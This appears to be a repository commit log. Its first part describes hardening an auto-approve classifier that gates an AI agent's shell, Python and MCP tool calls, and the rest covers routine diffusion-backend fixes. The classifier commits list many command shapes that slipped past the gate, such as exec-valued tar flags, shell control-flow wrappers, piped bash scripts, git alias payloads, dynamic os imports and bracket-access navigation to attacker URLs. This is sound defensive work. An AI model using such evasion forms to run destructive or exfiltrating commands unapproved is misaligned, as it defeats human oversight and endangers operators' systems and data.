permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
|
||
|
pre-commit-ci[bot]
|
416393e724 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
bce3b9b20a |
Make the OpenAI image URL fetchable, keep WebM audio, stream example imports
Four review items on the diffusion Studio work: - response_format=url returned the bearer-gated gallery route, which a standard image client downloads with no Authorization header, so the default response format was unusable. Mint a short-lived HMAC link instead (the shape RAG already uses for pdf.js) served by a signed route, and leave the gallery route itself bearer-only. - A manual gpu_layers=0 load carrying speculative_type="off" -- a value the UI persists and sends -- read as GPU-bearing, so it took the GPU arbiter and evicted a resident image/video pipeline even though the launcher hides the GPUs for it. Canonicalize the mode and exempt "off". - The curated example import prepared the whole split before the loop stopped at the 10-100 image cap; m1guelpf/nouns is 49,859 rows / 328 MB. Stream instead, with the prepared load kept as a fallback for a repo that cannot stream. - WebM export dropped the audio track an LTX-2 clip carries, silently, on the format offered for web embeds. Mux it as Opus through a resampler + FIFO, and keep exporting the video alone on a build without libopus. |
||
|
Daniel Han
|
66b05cc37b |
Carry the pipeline task into the hub inventory the pickers read
- The task-scoped pickers filter On Device rows on a task, and the chat picker routes a diffusion pick by the same field, but those rows come from the /api/hub inventory, which never carried one: the Images and Video pickers listed nothing on device and the routing never fired. Both cached scans and the local listing now tag rows with the classifiers the models API already uses, the schemas and the frontend adapter carry it through, and a row the backend classified as a generation task is exempt from the chat-only guard that was also dropping it. - The local routing map was keyed by model_id while the row click passes id (a filesystem load id for a models_dir or LM Studio entry), so the lookup missed and the pick fell through to the chat loader. Key both. - A staged download whose start answered "error" left its head in place, where the effect never re-runs and onReady never fires, so the pick was stranded until the user reselected. Clear the queue and say so. - Every scoped pick in a repo shares the @diffusion variant, so the variant alone cannot tell two file sets apart: restaging while the first job finished let its completion pass for the new pick and load a checkpoint that had not downloaded. Bind the callbacks to the repo + file set they started, and to the staging generation. - A rejected generate POST does not say whether it reached the backend, so an immediately idle progress read was ambiguous and a submission that never landed looked like a finished image. Require evidence: progress seen active, or a gallery record that was not there before the POST. |
||
|
pre-commit-ci[bot]
|
b799b240ff |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
4e32ef6484 |
Pin the accelerator probes in the DiT family-metadata tests
Six tests read family_train_infos() (or a start preflight) without pinning the host probes, so they only held on a machine with a bf16 accelerator: on a GPU-less runner the DiT gate empties precision_modes, turns supports_compile off, and replaces any other preflight message with the no-accelerator note, and all six failed there. A conftest fixture pins both probes for exactly those tests, so they assert the family metadata they are about on every host. The gate's own CPU-only behaviour keeps its dedicated tests. |
||
|
pre-commit-ci[bot]
|
75716ea697 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
6b41567d60 |
Hide unloadable cached rows, hold the dataset interlock, bound a GIF export
- The cached-model listing tagged any repo with a model_index.json as text-to-image, so a community pipeline the image loader's trust rule refuses still got a row in the Images picker, and a detected-but-untrusted video repo fell through to that same tag. Gate the image tag on the load path's rule and hide an untrusted video repo outright. - A routed diffusion pick only carries a GGUF filename, which is all the chat picker has, so a curated single-file artifact arrived with no quant and was loaded as a pipeline: from_pretrained on a repo with no model_index.json. Pass the page's own catalog spec into the route pick, so a routed pick resolves to exactly what a direct pick on that page resolves to. - The dataset mutation endpoints checked is_active() and only then handed their filesystem work to a thread, so a start reserving in that gap changed captions or removed images underneath the preflight or the running trainer. The interlock is now registered for the whole request under the lock reserve() uses, and a start refuses while a mutation is open rather than waiting on it. - GIF export held every kept frame as a paletted image before encoding; a clip may be 2048x2048 for 1024 frames, and at the 12 fps target the step is 1, so one export click could allocate over 4 GB and take the backend down. Downscale past 720 px and widen the step to keep at most 300 frames. - seed accepted any Python int, so an out-of-range one passed every preflight, evicted the resident models, spawned the trainer and only then died in torch.manual_seed. Bound it to torch's 64-bit range in the request and config. |
||
|
pre-commit-ci[bot]
|
0362740c24 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
68912bfaf2 |
Invalidate latents on a VAE swap, keep a cut-off generation, surface the EMA adapter
- source_revision() scanned the checkpoint root plus text_encoder/tokenizer but not vae, so swapping or fine-tuning the VAE in place left the conditioning cache namespace unchanged and a warm run trained against latents from the old checkpoint. Include the vae directory, like any other component the cached tensors come from. - /images/generate answers only when the images are saved, and secure mode's tunnel caps an origin response near 100 seconds, which a native CPU or a high-step run passes routinely. The page reported failure while the work kept running, and a retry would duplicate it. A lost response (fetch rejection or a gateway status the origin never answered) is now told apart from a refusal: the page waits out generate-progress and reloads the gallery, so the run it started still lands. - The trainer emits the EMA adapter's path with the terminal event, but the state update dropped it, so neither the run history nor either response schema carried it and an enabled EMA left nothing discoverable. Keep it, and show it next to the primary adapter. - weighting_scheme advertised a choice of timestep sampling; sampling is always logit-normal and the flag only selects the bell loss weights. Describe what it does. |
||
|
Daniel Han
|
36df317293 |
Trim the comments across the diffusion backend
Comment-only pass over the Python this PR touches: drop what the code already says, collapse multi-line explanations that still read on one line, and keep the reasoning that is not recoverable from the code. No code, docstring semantics or behaviour changes; verified with an AST comparison against the previous revision, and the backend suite is unchanged (same 37 environment failures as before: the API integration tests that need a live keyed server, the flash-attn install hooks, and the GPU memory fields). |
||
|
pre-commit-ci[bot]
|
ea3c3822a1 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
0add1accfd |
Cancel an evicted safetensors load, spare the arbiter for CPU-only chat, fetch clips lazily
Four fixes from the latest review round: - The GPU arbiter's chat evictor only cancelled the llama.cpp side. The orchestrator publishes active_model_name once its worker reports success, so an in-flight safetensors load was visible only as an entry in loading_models and finished onto the GPU after ownership had transferred. Cancel every pending load, and give the safetensors branch the post-load ownership recheck the GGUF branch already had. - A manual gpu_layers=0 GGUF load runs on the CPU with the GPUs hidden from the child, yet it took the arbiter unconditionally: it cancelled a running image or video generation for a model needing no VRAM, then held CHAT ownership so the next GPU workload unloaded it for nothing. Gate the acquire on the same predicate the launch-time CPU-only mask uses, as the image and video loaders gate on their resolved device. - The staged-download hook subscribes per repo, not per job, so another job on the same repo advanced the staged queue (starting a load whose scoped files were still downloading) or wiped a queue that was still running. Compare the variant each callback carries, like the chat page's auto-load does. - The video gallery fetched every record of a page into an object URL that lives until the page closes: 50 clips at tens to hundreds of MB each, for cards the user may never scroll to. Fetch a clip as its card nears the strip's edge, plus the selected one the player needs. |
||
|
pre-commit-ci[bot]
|
6c08c17267 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
1c5d41a5b0 |
Stage what an LTX-2.3 load reads, keep a routed file's load kind, drop an unbakeable LoRA
Three from the latest review. The video download plan always asked for the wide base file list, so an LTX-2.3 pick staged the 2.0 base's VAEs, vocoder and connectors that the checkpoint supplies itself, while the companion files the 2.3 assembly does read were left out of the plan and pulled inline at load, outside the panel's progress, cancel and disk preflight. The plan now recognises a 2.3 pick by name (the load keeps the authoritative header probe, and under-guessing only falls back to the load-time pull), narrows the base list, and stages the extras in the same entry as the checkpoint so one repo stays one scoped job. A pick routed from the chat picker arrives as ?model= and ?quant= with no picker metadata, so a bare local .gguf or .safetensors was loaded as a pipeline: an explicit model_kind wins over the backend's filename sniffing, so it evicted the resident model and then failed on the missing model_index.json. Both pages now derive the load kind from the path, the same way their own picker handlers do. A torchao int8/fp8 build takes adapters only at load time. Switching artifact inside one family keeps the LoRA selection, since the family did not change, but the load did not bake it, so the next generation was rejected with 'reload the model with the adapter selection' while the picker still showed the adapter as active. The selection is now dropped once per resident build, with a message saying to pick and load again. |
||
|
pre-commit-ci[bot]
|
2c2975d62e |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
7827679b77 |
Stop a background page and a stale record taking the GPU or a download with them
Five fixes from a review pass over the diffusion work. delete-finetuned rmtree'd a model the Images or Video engine was holding: every guard on that route is chat-only, and Images loads any local path, so deleting a local diffusion model under the storage root pulled the weights (and the companion VAE / text encoders sd.cpp re-reads each generation) out from under a live pipeline. The cached-model route already refuses this; the trained/exported one now does too, matching by path rather than repo id, and failing open on a chat-only install so it cannot block ordinary deletes. A staged download finishing while its page was hidden loaded the model and evicted whatever the user was actually using: both diffusion pages stay mounted behind the router and a load takes the GPU unconditionally. The pick is now held until its page is on screen again, which is also what chat does. A scoped download could report success having fetched nothing. With Hugging Face metadata unavailable no manifest is written, so verification is a no-op, and snapshot_download returns an existing snapshot folder without downloading when its own repo_info call fails. A repo already on disk from a full snapshot job (which ignores *.gguf) therefore completed with no weights and auto-loaded against them. The requested file list needs no network, so it is checked against the disk directly. The XET to HTTP retry reclaimed the job slot without the scoped file list, and that claim overwrites the stored record, so a later identical scoped start compared an empty list against the real one and 409'd instead of adopting the running download. The DiT accelerator gate probed torch.mps.is_available(), which only exists from torch 2.5 while the supported floor is 2.4. All three probes shared one try/except, so on torch 2.4 the AttributeError read as 'no block' and a CPU-only host still evicted the resident pipeline, downloaded the encoders and died in the child. Each accelerator is probed on its own now, through torch.backends.mps. |
||
|
pre-commit-ci[bot]
|
64e2b173b8 |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
bc00a8e797 |
Serialize the GPU handoffs, gate DiT training on a GPU, and keep 3.9 installable
Six review findings, three of them evict-then-fail orderings: - The chat load reclaimed the GPU without telling the arbiter it existed. A chat load holds no llama-server process until its GGUF has downloaded, which is minutes, so a competing Images/Video acquire in that window found nothing to cancel, took the GPU, and the chat load then spawned onto the same device. It now registers an in-flight marker through acquire_for's register hook (under the arbiter lock, as the image and video loads do), the evictor cancels a marked load, and the route undoes itself if ownership moved while it loaded. - The Hub-download conflict check ran after that handoff, so a GGUF the download manager already owns destroyed the resident Images/Video pipeline and then 409'd, having loaded nothing. It moves above the handoff, together with the marker it handshakes with. - The image load released the engine router's transition lock before registering the load, so a second load choosing the other engine could unload the still-idle engine this one captured; the load then landed on a deactivated engine, where generate, status, unload and the arbiter's evictor can no longer reach it. Registration now happens under that lock and refuses if the engine changed. - Training a DiT family on a host with no GPU was accepted: nf4 is not a CPU fallback, its 4-bit load goes through bitsandbytes, which requires CUDA, XPU or MPS. The start unloaded the working Images pipeline, pulled the text encoders, and only then died in the child. Rejected before the teardown now, and /info stops advertising a precision that always 400s. SDXL keeps its documented fp32-on-CPU path. - Both diffusion pages kept the routed-pick marker forever, so re-picking the same checkpoint (after chat evicted it) neither loaded nor cleared the query string. The marker is released once the query is gone. The Images key also carried a stray NUL byte, which made the file read as binary to grep and other tooling. - diffusers dropped Python 3.9 in 0.38, so the unconditional >=0.39.0 pin left pip no candidate at all on 3.9 and made every install that composes the huggingface extras unresolvable there. The floor is conditional now. Also fixes tests that were already red on the branch: two hand-built request fakes had gone stale against fields this branch added, and the handoff-ordering test only failed on a host with fewer than two GPUs. |
||
|
Daniel Han
|
a7d415262a |
Keep the scoped download key derivable, and stop the hidden page hijacking a route
Four review findings, the first a regression from my own last commit: - Keying scoped download jobs by a digest of the file set broke the download manager: it builds that key client-side (it polls and cancels before any response tells it a key), so it watched and cancelled a key no worker owned and never fired its ready callback. Keep the derivable "@scope" key and refuse the second request instead when a live job on the slot is fetching a different file set -- decided inside the registry claim, under the lock, so a concurrent claim cannot slip past it. The manager records the file set on the job as well, so a sibling quant's transfer is not adopted locally either. - Both diffusion pages read the route query through a loose useSearch and both stay mounted once visited, so the hidden one consumed the other's ?model=: it navigated back to its own route and tried to load, say, an image checkpoint as a video model. Only the visible page consumes it. - The staged download plan was built without the configured HF token or the Advanced values the load itself sends. The token matters most: the backend's Hub metadata lookup is best-effort, so a gated base silently planned no companion entry and the load pulled those multi-GB files inline, outside the manager. The memory/quant controls decide whether the base transformer/ shards are needed at all, and the route dropped memory_mode, cpu_offload, the prequant path and the LoRA selection before asking for the plan. - The video preview kept playing after leaving the page: the keep-alive layout only hides it, and display:none does not pause a media element, so a clip the user unmuted kept its audio going over the next page. Pause on the active transition and do not auto-replay while hidden. Also completes the hand-built request bodies in the hub download tests: the scoped-files field this branch added to the route read as an AttributeError against them, failing five tests. |
||
|
pre-commit-ci[bot]
|
5c7c0e951c |
[pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci |
||
|
Daniel Han
|
0a3a8f5570 |
Route the real GGUF filename, keep non-GGUF curated models, key scoped downloads by file set
